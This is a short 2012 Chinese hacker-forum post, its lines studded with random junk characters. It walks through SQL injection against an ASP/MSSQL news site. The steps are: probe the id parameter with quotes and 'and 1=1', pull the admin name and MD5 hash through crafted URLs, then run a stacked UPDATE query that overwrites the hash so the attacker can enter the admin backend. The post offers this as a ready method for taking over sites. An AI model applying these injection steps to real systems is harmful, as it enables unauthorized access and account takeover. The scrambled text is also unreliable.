经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
. g1 j+ c: l' F5 R0 @9 K可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)! h0 A3 u, D. B
测试如下：
. L( Z% \, Y" Mhttp://www.tmdsb.com/news.asp?id=121 w3 [5 R2 v; d& V- z
在地址后输入单引号，显示
- E; _* G3 w: I8 K. I. A( ^Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
1 ^+ ~9 k6 v& S4 M4 K& ~% ~字符串 ’’’ 之前有未闭合的引号; P4 l5 e w3 w6 J' k
/news/tmdws.asp，行63
7 K. y9 J! t: T9 w% Y' Q4 B0 g* ]说明没有过滤单引号且数据库是MSSQL.& a* j, C, b. ~! v7 [( _! \
and 1=1正常。and 1=2出错。肯定存在注入' [* g- Y9 [9 C/ L
接着输入
s2 N2 r( ~) H2 U4 E$ Qhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
) n' a1 F8 c2 u1 o0 v7 M! T得到帐号为:admin
# Z! E# S" K7 \9 V5 Q9 ehttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
" \8 H5 L& E; _7 T- K9 D% i得到密码为:a4716077c2ba075c+ O3 M3 S. c6 t' L
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433% m1 w; e. G! r# @ b- ?
命令如下 :
- m8 k) ^1 ?8 @" G1 a2 s' O" x;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
" N0 X/ d& C J这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41